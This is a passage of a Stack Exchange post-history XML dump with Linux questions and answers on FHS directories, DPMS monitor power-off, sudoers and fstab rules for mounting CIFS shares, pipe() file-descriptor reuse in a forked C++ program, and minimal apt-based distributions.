  <row Id="13433" PostHistoryTypeId="5" PostId="5916" RevisionGUID="dee5e8e0-624c-4f53-b95c-313907829eca" CreationDate="2011-01-16T03:58:27.793" UserId="29" Comment="add comment on LSB" Text="What? no `/bin/` is not a symlink to `/usr/bin` at least not on any FHS compliant system.&#xD;&#xA;&#xD;&#xA;[`/bin`](http://www.pathname.com/fhs/pub/fhs-2.3.html#BINESSENTIALUSERCOMMANDBINARIES)&#xD;&#xA;&lt;blockquote&gt;contains commands that may be used by both the system administrator and by users, but which are required when no other filesystems are mounted (e.g. in single user mode). It may also contain commands which are used indirectly by scripts&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;[`/usr/bin/`](http://www.pathname.com/fhs/pub/fhs-2.3.html#USRBINMOSTUSERCOMMANDS)&#xD;&#xA;&lt;blockquote&gt;This is the primary directory of executable commands on the system.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;essentially, `/bin` contains executables which are required by the system for emergency repairs, booting, and single user mode. `/usr/bin` contains any binaries that aren't required.&#xD;&#xA;&#xD;&#xA;I will note, that they can be on separate disks/partitions, `/bin` must be on the same disk as `/`. `/usr/bin` can be on another disk.&#xD;&#xA;&#xD;&#xA;For full correctness, some unices may ignore FHS, as I believe it is only a Linux Standard, I'm not aware that it has yet been included in SUS, Posix or any other UNIX standard, though it should be IMHO. It is a part of the [LSB](http://refspecs.freestandards.org/LSB_3.0.0/LSB-generic/LSB-generic.html#NORMATIVEREFS) standard though." />
  <row Id="13438" PostHistoryTypeId="2" PostId="5940" RevisionGUID="c05145fe-8404-4edf-8ad7-01fb7b1feb9d" CreationDate="2009-09-02T08:43:54.720" UserDisplayName="bortzmeyer" Text="I have a monitor which was properly switched off by my Debian PC when&#xD;&#xA;unused. I attached it to another machine and, this times, it is never&#xD;&#xA;switched off.&#xD;&#xA;&#xD;&#xA;In `/etc/X11/xorg.conf`, I have:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Section &quot;Monitor&quot;&#xD;&#xA;        Identifier      &quot;Generic Monitor&quot;&#xD;&#xA;        Option          &quot;DPMS&quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It is recognized when X11 starts:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;(II) Loading extension DPMS&#xD;&#xA;...&#xD;&#xA;(II) VESA(0): DPMS capabilities: StandBy Suspend Off; RGB/Color Display&#xD;&#xA;...&#xD;&#xA;(**) Option &quot;dpms&quot;&#xD;&#xA;(**) VESA(0): DPMS enabled&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The operating system is Debian stable &quot;lenny&quot;. The graphics card is:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;00:02.0 VGA compatible controller: Intel Corporation 82G33/G31 Express Integrate&#xD;&#xA;d Graphics Controller (rev 02) (prog-if 00 [VGA controller])&#xD;&#xA;        Subsystem: Hewlett-Packard Company Device 2a6f&#xD;&#xA;        Flags: bus master, fast devsel, latency 0, IRQ 5&#xD;&#xA;        Memory at fe900000 (32-bit, non-prefetchable) [size=512K]&#xD;&#xA;        I/O ports at b080 [size=8]&#xD;&#xA;        Memory at d0000000 (32-bit, prefetchable) [size=256M]&#xD;&#xA;        Memory at fe800000 (32-bit, non-prefetchable) [size=1M]&#xD;&#xA;        Capabilities: [90] Message Signalled Interrupts: Mask- 64bit- Queue=0/0  Enable-Capabilities: [d0] Power Management version 2&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;X11 is:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;X.Org X Server 1.4.2&#xD;&#xA;Release Date: 11 June 2008&#xD;&#xA;X Protocol Version 11, Revision 0&#xD;&#xA;Build Operating System: Linux Debian (xorg-server 2:1.4.2-10.lenny2)&#xD;&#xA;Current Operating System: Linux ludwigVII 2.6.26-2-686 #1 SMP Sun Jun 21 04:57:3&#xD;&#xA;8 UTC 2009 i686&#xD;&#xA;Build Date: 08 June 2009  09:12:57AM&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="13439" PostHistoryTypeId="1" PostId="5940" RevisionGUID="c05145fe-8404-4edf-8ad7-01fb7b1feb9d" CreationDate="2009-09-02T08:43:54.720" UserDisplayName="bortzmeyer" Text="DPMS does not work: the monitor is not switched off" />
  <row Id="13440" PostHistoryTypeId="3" PostId="5940" RevisionGUID="c05145fe-8404-4edf-8ad7-01fb7b1feb9d" CreationDate="2009-09-02T08:43:54.720" UserDisplayName="bortzmeyer" Text="édebianàéx11à" />
  <row Id="13441" PostHistoryTypeId="17" PostId="5940" RevisionGUID="8c38c23d-e8b3-4038-b6ed-4213e0ad4503" CreationDate="2011-01-16T04:26:12.377" UserId="-1" Comment="from http://serverfault.com/questions/61460/dpms-does-not-work-the-monitor-is-not-switched-off" Text="" />
  <row Id="13442" PostHistoryTypeId="25" PostId="5939" RevisionGUID="2926dec3-cacf-4349-b665-95ed803a5867" CreationDate="2011-01-16T04:55:35.653" Comment="http://twitter.com/#!/StackUnix/status/26502804084363264" />
  <row Id="13443" PostHistoryTypeId="17" PostId="5944" RevisionGUID="16fb92bb-d513-4ce2-b459-cea5862e2e4d" CreationDate="2011-01-16T05:16:44.367" UserId="-1" Comment="from http://stackoverflow.com/questions/4694412/what-sudoer-spec-allows-users-to-mount-cifs-shares/4694770#4694770" Text="" />
  <row Id="13444" PostHistoryTypeId="17" PostId="5945" RevisionGUID="bc046dd6-13e8-4307-a84e-4237dd3e2a1f" CreationDate="2011-01-16T05:16:44.367" UserId="-1" Comment="from http://stackoverflow.com/questions/4694412/what-sudoer-spec-allows-users-to-mount-cifs-shares/4696053#4696053" Text="" />
  <row Id="13445" PostHistoryTypeId="17" PostId="5946" RevisionGUID="157a0090-f77b-4776-b66b-d164ff64c823" CreationDate="2011-01-16T05:16:44.367" UserId="-1" Comment="from http://stackoverflow.com/questions/4694412/what-sudoer-spec-allows-users-to-mount-cifs-shares/4696108#4696108" Text="" />
  <row Id="13446" PostHistoryTypeId="17" PostId="5947" RevisionGUID="94373c24-fc40-4234-b21a-8a0bc2c8a3aa" CreationDate="2011-01-16T05:16:44.367" UserId="-1" Comment="from http://stackoverflow.com/questions/4694412/what-sudoer-spec-allows-users-to-mount-cifs-shares/4696302#4696302" Text="" />
  <row Id="13447" PostHistoryTypeId="17" PostId="5948" RevisionGUID="75ed40ae-f68a-4aca-8a76-d02caffe5292" CreationDate="2011-01-16T05:16:44.367" UserId="-1" Comment="from http://stackoverflow.com/questions/4694412/what-sudoer-spec-allows-users-to-mount-cifs-shares/4698716#4698716" Text="" />
  <row Id="13448" PostHistoryTypeId="2" PostId="5944" RevisionGUID="538081cb-74c3-46be-803b-4d02cb12ce36" CreationDate="2011-01-14T18:53:45.780" UserDisplayName="gravitron" Text="I'm not sure why your requirement must allow users to mount the devices anywhere in their home directory.  Security to keep the device private to them I suppose?&#xD;&#xA;&#xD;&#xA;Anyways, if you can handle having public,static mount points you could add entries to /etc/fstab for the cifs shares and add the &quot;users&quot; attribute to let users mount/unmount them.&#xD;&#xA;&#xD;&#xA;The line would look something like this:&#xD;&#xA;&#xD;&#xA;    //host/share /mount/point cifs users,rw,username=xxx,password=xxx 0 0&#xD;&#xA;&#xD;&#xA;See http://www.tuxfiles.org/linuxhelp/fstab.html&#xD;&#xA;&#xD;&#xA;I realize this doesn't solve the exact issue you presented but maybe it gives you some ideas for a compromise.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13449" PostHistoryTypeId="2" PostId="5945" RevisionGUID="7863d8a2-71b4-4039-84fc-1c82d4f278f6" CreationDate="2011-01-14T21:17:35.540" UserDisplayName="scott8035" Text="I figured out how to do it, less the restriction that you are in your own directory:&#xD;&#xA;&#xD;&#xA;    %users localhost, hostname = NOPASSWD: /bin/mount -t cifs //*/* /home/* -o username=*, /bin/umount /home/*&#xD;&#xA;&#xD;&#xA;Does anyone have an idea how to restrict a user to hiw own home directory?" />
  <row Id="13450" PostHistoryTypeId="2" PostId="5946" RevisionGUID="3820fa8f-6118-437d-89e9-5dda6edf8162" CreationDate="2011-01-14T21:24:46.113" UserId="1010" Text="You might be better off giving your users the ability to use FUSE filesystems to mount their cifs shares." />
  <row Id="13451" PostHistoryTypeId="2" PostId="5947" RevisionGUID="3876b4be-d5d1-47de-b310-5117c3990b6a" CreationDate="2011-01-14T21:44:54.537" UserDisplayName="user562374" Text="I can't help but think of pam_mount solving half of the puzzle already by giving users the ability to mount such networked volumes on start of a session." />
  <row Id="13452" PostHistoryTypeId="2" PostId="5948" RevisionGUID="8fa8e833-42e3-4067-a555-47ab73de7f4a" CreationDate="2011-01-15T08:43:15.297" UserDisplayName="Forest" Text="It's worth noting that some recent versions of mount.cifs fail unless the mount point is in /etc/fstab, even if they are installed setuid, so I would expect your sudo approach to fail with those versions.&#xD;&#xA;&#xD;&#xA;http://fedoraforum.org/forum/showthread.php?p=1329591&#xD;&#xA;&#xD;&#xA;https://bugs.launchpad.net/ubuntu/+bug/657900&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As an alternative, you might try one of these:&#xD;&#xA;&#xD;&#xA;[SMBNetFS][1]&#xD;&#xA;&#xD;&#xA;[FuseSMB][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sourceforge.net/projects/smbnetfs/&#xD;&#xA;  [2]: http://www.ricardis.tudelft.nl/~vincent/fusesmb/" />
  <row Id="13453" PostHistoryTypeId="2" PostId="5943" RevisionGUID="354ad2d5-dd76-43e2-b306-fa3b2e106e1f" CreationDate="2011-01-14T18:12:26.267" UserDisplayName="scott8035" Text="I'm trying create a line in /etc/sudoers that allows members of group &quot;users&quot; to mount cifs shares anywhere inside their own home directory. In my first attempt I tried:&#xD;&#xA;&#xD;&#xA;    %users ALL=/bin/mount -t cifs /home, /bin/umount /home&#xD;&#xA;&#xD;&#xA;...which admittedly doesn't restrict them to their own home directory. As a user when I try the command:&#xD;&#xA;&#xD;&#xA;    sudo mount -t cifs ~/mount //hostname/sharename -o username=myuserid,domain=mydomain&#xD;&#xA;&#xD;&#xA;...I get prompted for the password then receive error:&#xD;&#xA;&#xD;&#xA;    Sorry, user myuserid is not allowed to execute '...command...' as root on servername.&#xD;&#xA;&#xD;&#xA;Is there any way to coerce sudoers to specify what I want?" />
  <row Id="13454" PostHistoryTypeId="1" PostId="5943" RevisionGUID="354ad2d5-dd76-43e2-b306-fa3b2e106e1f" CreationDate="2011-01-14T18:12:26.267" UserDisplayName="scott8035" Text="What sudoer spec allows users to mount cifs shares?" />
  <row Id="13455" PostHistoryTypeId="3" PostId="5943" RevisionGUID="354ad2d5-dd76-43e2-b306-fa3b2e106e1f" CreationDate="2011-01-14T18:12:26.267" UserDisplayName="scott8035" Text="élinuxàéunixàésudoàémountàécifsà" />
  <row Id="13456" PostHistoryTypeId="17" PostId="5943" RevisionGUID="62114182-fc6b-46a6-8d55-28f898f56da4" CreationDate="2011-01-16T05:16:44.367" UserId="-1" Comment="from http://stackoverflow.com/questions/4694412/what-sudoer-spec-allows-users-to-mount-cifs-shares" Text="" />
  <row Id="13457" PostHistoryTypeId="2" PostId="5949" RevisionGUID="5458fdbc-9c48-4c1b-9eb7-ede1b75001be" CreationDate="2011-01-16T05:24:21.010" UserId="29" Text="I do use aliases to turn on color for some commands by default. But I'm wondering if there's an easier way at telling my system, color is supported, don't make me use `--color` for `grep`, `ls`, etc." />
  <row Id="13458" PostHistoryTypeId="1" PostId="5949" RevisionGUID="5458fdbc-9c48-4c1b-9eb7-ede1b75001be" CreationDate="2011-01-16T05:24:21.010" UserId="29" Text="Is there any env variable to turn --color (and the like) on for all commands?" />
  <row Id="13459" PostHistoryTypeId="3" PostId="5949" RevisionGUID="5458fdbc-9c48-4c1b-9eb7-ede1b75001be" CreationDate="2011-01-16T05:24:21.010" UserId="29" Text="écommandölineàécolorsà" />
  <row Id="13460" PostHistoryTypeId="2" PostId="5950" RevisionGUID="b1c8bcba-0ea9-4838-b3d5-12766881c3ad" CreationDate="2011-01-16T05:41:47.767" UserId="1942" Text="I want to setup some VMs running as small a Linux as I can.&#xD;&#xA;&#xD;&#xA;The criteria:&#xD;&#xA;1) package system based on Apt.&#xD;&#xA;2) Runs some GUI ( can be very small ).&#xD;&#xA;3) Runs in as little ram as possible: in this context 64M is good and 256M is bordering on too much.&#xD;&#xA;4) Install on a hd, not ram resident.&#xD;&#xA;5) As little HD space as possible. Ideal would be 1G.&#xD;&#xA;6) Fast boot and shutdown times.&#xD;&#xA;&#xD;&#xA;Suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13461" PostHistoryTypeId="1" PostId="5950" RevisionGUID="b1c8bcba-0ea9-4838-b3d5-12766881c3ad" CreationDate="2011-01-16T05:41:47.767" UserId="1942" Text="Small apt based linux." />
  <row Id="13462" PostHistoryTypeId="3" PostId="5950" RevisionGUID="b1c8bcba-0ea9-4838-b3d5-12766881c3ad" CreationDate="2011-01-16T05:41:47.767" UserId="1942" Text="élinuxàésmallàédistroà" />
  <row Id="13463" PostHistoryTypeId="2" PostId="5951" RevisionGUID="dab108e2-5e1f-455b-b7c1-588d11a91883" CreationDate="2011-01-16T06:00:02.650" UserId="3854" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I've currently got code that forks two processes. The first reads a http streaming radio and pushes the data down a pipe (opened with pipe() ) for the second process to read, decode and output to the sound card using OSS.&#xD;&#xA;&#xD;&#xA;I've been trying to debug the decoding part (seperate issue) and i've come across a situation where the pipe has a file descriptor of 0 when I print it out. As far as I can tell this means stdin. Is this a known problem with pipe, that it can accidently open one of the standard filedescriptors? if so how do I get around it?&#xD;&#xA;&#xD;&#xA;My pipe/fork code is below. There is quite a bit of other code, that I hope is irrelevant.&#xD;&#xA;&#xD;&#xA;    //this is the &quot;switch channel&quot; loop&#xD;&#xA;	while(1)&#xD;&#xA;	{&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		/*create the pipes&#xD;&#xA;		*&#xD;&#xA;		* httpPipe is for transfer of the stream between the readProcess and the playProcess&#xD;&#xA;		*&#xD;&#xA;		* playPPipe is for transfer of commands from the main process to the playProcess&#xD;&#xA;		*&#xD;&#xA;		* readPPipe is for transfer of commands from the main process to the readProcess&#xD;&#xA;		*&#xD;&#xA;		*/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		if(pipe(httpPipe) == -1)&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: Error creating httpPipe: &quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;		if(pipe(PlayPPipe) == -1)&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: Error creating PlayPPipe: &quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;		if(pipe(ReadPPipe) == -1)&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: Error creating ReadPPipe: &quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		cout &lt;&lt; &quot;httpPipe:&quot; &lt;&lt; httpPipe[0] &lt;&lt; &quot;:&quot; &lt;&lt; httpPipe[1] &lt;&lt; endl;&#xD;&#xA;		cout &lt;&lt; &quot;PlayPPipe:&quot; &lt;&lt; PlayPPipe[0] &lt;&lt; &quot;:&quot; &lt;&lt; PlayPPipe[1] &lt;&lt; endl;&#xD;&#xA;		cout &lt;&lt; &quot;ReadPPipe:&quot; &lt;&lt; ReadPPipe[0] &lt;&lt; &quot;:&quot; &lt;&lt; ReadPPipe[1] &lt;&lt; endl;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		pid = fork();&#xD;&#xA;		if(pid == 0)&#xD;&#xA;		{&#xD;&#xA;			/* we are in the readProcess&#xD;&#xA;			*  this process uses libcurl to read the icestream from the url&#xD;&#xA;			*  passed to it in urlList. It then writes this data to writeHttpPipe.&#xD;&#xA;			*  this continues until the &quot;q&quot; command is sent to the process via&#xD;&#xA;			*  readPPipe/readReadPPipe. when this happens the curl Callback function&#xD;&#xA;			*  returns 0, and the process closes all fds/pipes it has access to and cleans&#xD;&#xA;			*  up curl and exits.&#xD;&#xA;			*/&#xD;&#xA;			rc = 0;&#xD;&#xA;&#xD;&#xA;			close(httpPipe[0]);&#xD;&#xA;			writeHttpPipe = httpPipe[1];&#xD;&#xA;&#xD;&#xA;			close(ReadPPipe[1]);&#xD;&#xA;			readReadPPipe = ReadPPipe[0];&#xD;&#xA;&#xD;&#xA;			rc = readProcess(urlList.at(playListNum));&#xD;&#xA;			if(rc &gt; 0)&#xD;&#xA;			{&#xD;&#xA;				cout &lt;&lt; &quot;ERROR:: has occured in reading stream: &quot; &lt;&lt; urlList.at(playListNum) &lt;&lt; endl;&#xD;&#xA;				close(writeHttpPipe);&#xD;&#xA;				close(readReadPPipe);&#xD;&#xA;				exit(16);&#xD;&#xA;			}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		}else if(pid &gt; 0)&#xD;&#xA;		{&#xD;&#xA;			pid = fork();&#xD;&#xA;			if(pid ==0)&#xD;&#xA;			{&#xD;&#xA;				/* we are in the PlayProcess&#xD;&#xA;				 * the playProcess initialises libmpg123 and the OSS sound subsystem.&#xD;&#xA;				 * It then reads from httpPipe[0]/readHttpPipe until it recieves a &quot;q&quot; command&#xD;&#xA;				 * via PlayPPipe[0]/readPlayPPipe. at which point it closes all fd's and cleans&#xD;&#xA;				 * up libmpg123 handles and exits.&#xD;&#xA;				 */&#xD;&#xA;				close(httpPipe[1]);&#xD;&#xA;				sleep(1);&#xD;&#xA;&#xD;&#xA;				close(PlayPPipe[1]);&#xD;&#xA;				readPlayPPipe = PlayPPipe[0];&#xD;&#xA;&#xD;&#xA;				playProcess();&#xD;&#xA;				exit(0);&#xD;&#xA;&#xD;&#xA;			}else if(pid &gt; 0)&#xD;&#xA;			{&#xD;&#xA;				/* This is the main process&#xD;&#xA;				 *  this process reads from stdin for commands.&#xD;&#xA;				 *  if these are valid commands it processes this command and&#xD;&#xA;				 *  sends the relevant commands to the readProccess and the PlayProcess via&#xD;&#xA;				 *  the PlayPPipe[1]/writePlayPPipe and ReadPPipe[1]/writeReadPPipe.&#xD;&#xA;				 *  It then does suitable clean up.&#xD;&#xA;				 */&#xD;&#xA;				string command;&#xD;&#xA;&#xD;&#xA;				//close ends of pipe that we dont use.&#xD;&#xA;				close(ReadPPipe[0]);&#xD;&#xA;				close(PlayPPipe[0]);&#xD;&#xA;				close(httpPipe[0]);&#xD;&#xA;				close(httpPipe[1]);&#xD;&#xA;&#xD;&#xA;				//assign write ends of pipes to easier variables&#xD;&#xA;				writeReadPPipe = ReadPPipe[1];&#xD;&#xA;				writePlayPPipe = PlayPPipe[1];&#xD;&#xA;				rc = 0;&#xD;&#xA;&#xD;&#xA;				//wait for input&#xD;&#xA;				while(1)&#xD;&#xA;				{&#xD;&#xA;					cin &gt;&gt; command;&#xD;&#xA;					cout &lt;&lt; command &lt;&lt; endl;&#xD;&#xA;&#xD;&#xA;					rc = 0;&#xD;&#xA;&#xD;&#xA;					/* Next channel command. this sends a q command to&#xD;&#xA;					 * readProccess and playProcess to tell them to cleanup and exit().&#xD;&#xA;					 * then it breaks out of the loop, increments the playListNum and&#xD;&#xA;					 * we start all over again. The two processes get forked, this time with a new channel&#xD;&#xA;					 * and we wait for input.&#xD;&#xA;					 */&#xD;&#xA;					if(command == &quot;n&quot;)&#xD;&#xA;					{&#xD;&#xA;						rc = sendCommand(&quot;q&quot;);&#xD;&#xA;						if(rc != 0)&#xD;&#xA;						{&#xD;&#xA;							cout &lt;&lt; &quot;ERROR: failed to send command: &quot; &lt;&lt; command &lt;&lt; &quot;:&quot; &lt;&lt; endl;&#xD;&#xA;						}&#xD;&#xA;						break;&#xD;&#xA;					}&#xD;&#xA;&#xD;&#xA;					/* Quit program command.&#xD;&#xA;					 * This sends a command to the two proceesses to cleanup and exit() and then exits.&#xD;&#xA;					 *&#xD;&#xA;					 */&#xD;&#xA;					if(command == &quot;q&quot;)&#xD;&#xA;					{&#xD;&#xA;						rc = sendCommand(&quot;q&quot;);&#xD;&#xA;						if(rc != 0)&#xD;&#xA;						{&#xD;&#xA;							cout &lt;&lt; &quot;ERROR: failed to send command: &quot; &lt;&lt; command &lt;&lt; &quot;:&quot; &lt;&lt; endl;&#xD;&#xA;						}&#xD;&#xA;						exit(0);&#xD;&#xA;					}&#xD;&#xA;&#xD;&#xA;				}&#xD;&#xA;			}else&#xD;&#xA;			{&#xD;&#xA;				cout &lt;&lt; &quot;ERROR:: some thing happened with the fork to playProcess...&quot; &lt;&lt; endl;&#xD;&#xA;			}&#xD;&#xA;		}else&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: some thing happened with the fork to readProcess...&quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;		//clean up the pipes otherwise we get junk in them.&#xD;&#xA;		close(writePlayPPipe);&#xD;&#xA;		close(writeReadPPipe);&#xD;&#xA;		delete json;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		//Parse JSON got from the above url into the list of urls so we can use it&#xD;&#xA;		JsonConfig *json = new JsonConfig(parms-&gt;GetParameter(&quot;URL&quot;));&#xD;&#xA;		json-&gt;GetConfigJson();&#xD;&#xA;		json-&gt;ParseJson();&#xD;&#xA;		json-&gt;GetUrls(urlList);&#xD;&#xA;&#xD;&#xA;		cout &lt;&lt; &quot;####----&gt;UrlListLength: &quot; &lt;&lt; urlList.size() &lt;&lt; endl;&#xD;&#xA;&#xD;&#xA;		//increment which url in the list we are going to be playing next.&#xD;&#xA;		playListNum++;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		//if the playlist is greater than or equal to the urlist size then we are back at the start of the list&#xD;&#xA;		if(playListNum &gt;= (int)urlList.size())&#xD;&#xA;		{&#xD;&#xA;&#xD;&#xA;			playListNum = 0;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This loop is so that I can go through a list of radio stations. When 'n' is pressed it sends a command to the two child processes which shut them down cleanly, and then closes all the pipes and loops back around, opening all them up again and forking the two processes again.&#xD;&#xA;&#xD;&#xA;The first time it goes through the loop it seems like this works, but on the second time around I get the following output.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    URL: 192.168.0.5:9000/playlist&#xD;&#xA;    GetConfigJsonurl: 192.168.0.5:9000/playlist&#xD;&#xA;    httpPipe:3:4&#xD;&#xA;    PlayPPipe:5:6&#xD;&#xA;    ReadPPipe:7:8&#xD;&#xA;    GetConfigJsonurl: 192.168.0.5:9000/playlist&#xD;&#xA;    ####----&gt;UrlListLength: 2&#xD;&#xA;    httpPipe:0:4&#xD;&#xA;    PlayPPipe:7:8&#xD;&#xA;    ReadPPipe:9:10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So basically I would like to know how to stop pipe from opening up the std file descriptors.&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;Mark" />
  <row Id="13464" PostHistoryTypeId="1" PostId="5951" RevisionGUID="dab108e2-5e1f-455b-b7c1-588d11a91883" CreationDate="2011-01-16T06:00:02.650" UserId="3854" Text="stop pipe() opening stdin" />
  <row Id="13465" PostHistoryTypeId="3" PostId="5951" RevisionGUID="dab108e2-5e1f-455b-b7c1-588d11a91883" CreationDate="2011-01-16T06:00:02.650" UserId="3854" Text="élinuxàéprocessàécàépipeà" />
  <row Id="13466" PostHistoryTypeId="2" PostId="5952" RevisionGUID="ad520164-686b-4672-be2c-58fc07d94a8f" CreationDate="2011-01-16T06:33:36.753" UserId="1779" Text="A new file descriptor always occupies the lowest integer not already in use.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ &lt;i&gt;cat &amp;gt;test.c&lt;/i&gt;&#xD;&#xA;main(){exit(open(&quot;/dev/null&quot;,0));}&#xD;&#xA;&lt;i&gt;^D&lt;/i&gt;&#xD;&#xA;$ &lt;i&gt;cc test.c&lt;/i&gt;&#xD;&#xA;$ &lt;i&gt;./a.out; echo $?&lt;/i&gt;&#xD;&#xA;&lt;b&gt;3&lt;/b&gt;&#xD;&#xA;$ &lt;i&gt;./a.out &amp;lt;&amp;amp;-; echo $?&lt;/i&gt;&#xD;&#xA;&lt;b&gt;0&lt;/b&gt;&#xD;&#xA;$ &lt;i&gt;./a.out &amp;gt;&amp;amp;-; echo $?&lt;/i&gt;&#xD;&#xA;&lt;b&gt;1&lt;/b&gt;&#xD;&#xA;&lt;/pre&gt; &#xD;&#xA;&#xD;&#xA;The system doesn't care about &quot;standard file descriptors&quot; or anything like that.  If file descriptor 0 is closed, then a new file descriptor will be assigned at 0.&#xD;&#xA;&#xD;&#xA;Is there any place in your program or in how you're launching it that may be causing `close(0)`?" />
  <row Id="13467" PostHistoryTypeId="2" PostId="5953" RevisionGUID="d2513b9f-f479-4d79-891b-06fdb95251ad" CreationDate="2011-01-16T06:42:37.793" UserId="483" Text="Debian&#xD;&#xA;&#xD;&#xA;According to them 64 mb of RAM are enough to run it with a GUI and they are the original Apt distribution. You should bear in mind that 256 mb is recommended even without a GUI, though.&#xD;&#xA;&#xD;&#xA;They do list a 5 GB HD for a &quot;desktop&quot; but you should be able to install many window managers/web browsers/etc within the 1 GB limit if you start from the minimal install. 2 GB per virtual disk would probably be best though, or you risk running out of swap memory.&#xD;&#xA;&#xD;&#xA;If you are familiar enough with apt(itude), it shouldn't be hard to add just the software you need. Any minimalist distro will be biased to the authors' goals and stop getting updates when you need them." />
  <row Id="13468" PostHistoryTypeId="2" PostId="5954" RevisionGUID="366ec2dc-f858-483a-a919-d85cb6520f0d" CreationDate="2011-01-16T07:36:32.477" UserId="29" Text="[Damn Small Linux](http://www.damnsmalllinux.org/) will make Debian look huge. If HD is only 50MB, you can believe memory footprint is small too. It's based on knoppix, which is based on debian, so AFAIK, it uses `apt`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Damn Small Linux is a very versatile 50MB mini desktop oriented Linux distribution.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;DSL was originally developed as an experiment to see how many usable desktop applications can fit inside a 50MB live CD. It was at first just a personal tool/toy. But over time Damn Small Linux grew into a community project with hundreds of development hours put into refinements including a fully automated remote and local application installation system and a very versatile backup and restore system which may be used with any writable media including a hard drive, a floppy drive, or a USB device.&lt;/blockquote&gt;" />
  <row Id="13469" PostHistoryTypeId="25" PostId="5951" RevisionGUID="2c6a5ba2-bd0e-445a-9eab-b64530a2611e" CreationDate="2011-01-16T07:55:35.923" Comment="http://twitter.com/#!/StackUnix/status/26548103729385473" />
  <row Id="13470" PostHistoryTypeId="5" PostId="5951" RevisionGUID="c0151b75-1a9c-4bc7-8410-c1fde1c9f367" CreationDate="2011-01-16T08:08:47.283" UserId="73" Comment="deleted 21 characters in body" Text="I've currently got code that forks two processes. The first reads a http streaming radio and pushes the data down a pipe (opened with `pipe()` ) for the second process to read, decode and output to the sound card using OSS.&#xD;&#xA;&#xD;&#xA;I've been trying to debug the decoding part (separate issue) and I've come across a situation where the pipe has a file descriptor of 0 when I print it out. As far as I can tell this means stdin. Is this a known problem with pipe, that it can accidentally open one of the standard file descriptors? If so, how do I get around it?&#xD;&#xA;&#xD;&#xA;My pipe/fork code is below. There is quite a bit of other code, that I hope is irrelevant.&#xD;&#xA;&#xD;&#xA;    //this is the &quot;switch channel&quot; loop&#xD;&#xA;	while(1)&#xD;&#xA;	{&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		/*create the pipes&#xD;&#xA;		*&#xD;&#xA;		* httpPipe is for transfer of the stream between the readProcess and the playProcess&#xD;&#xA;		*&#xD;&#xA;		* playPPipe is for transfer of commands from the main process to the playProcess&#xD;&#xA;		*&#xD;&#xA;		* readPPipe is for transfer of commands from the main process to the readProcess&#xD;&#xA;		*&#xD;&#xA;		*/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		if(pipe(httpPipe) == -1)&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: Error creating httpPipe: &quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;		if(pipe(PlayPPipe) == -1)&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: Error creating PlayPPipe: &quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;		if(pipe(ReadPPipe) == -1)&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: Error creating ReadPPipe: &quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		cout &lt;&lt; &quot;httpPipe:&quot; &lt;&lt; httpPipe[0] &lt;&lt; &quot;:&quot; &lt;&lt; httpPipe[1] &lt;&lt; endl;&#xD;&#xA;		cout &lt;&lt; &quot;PlayPPipe:&quot; &lt;&lt; PlayPPipe[0] &lt;&lt; &quot;:&quot; &lt;&lt; PlayPPipe[1] &lt;&lt; endl;&#xD;&#xA;		cout &lt;&lt; &quot;ReadPPipe:&quot; &lt;&lt; ReadPPipe[0] &lt;&lt; &quot;:&quot; &lt;&lt; ReadPPipe[1] &lt;&lt; endl;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		pid = fork();&#xD;&#xA;		if(pid == 0)&#xD;&#xA;		{&#xD;&#xA;			/* we are in the readProcess&#xD;&#xA;			*  this process uses libcurl to read the icestream from the url&#xD;&#xA;			*  passed to it in urlList. It then writes this data to 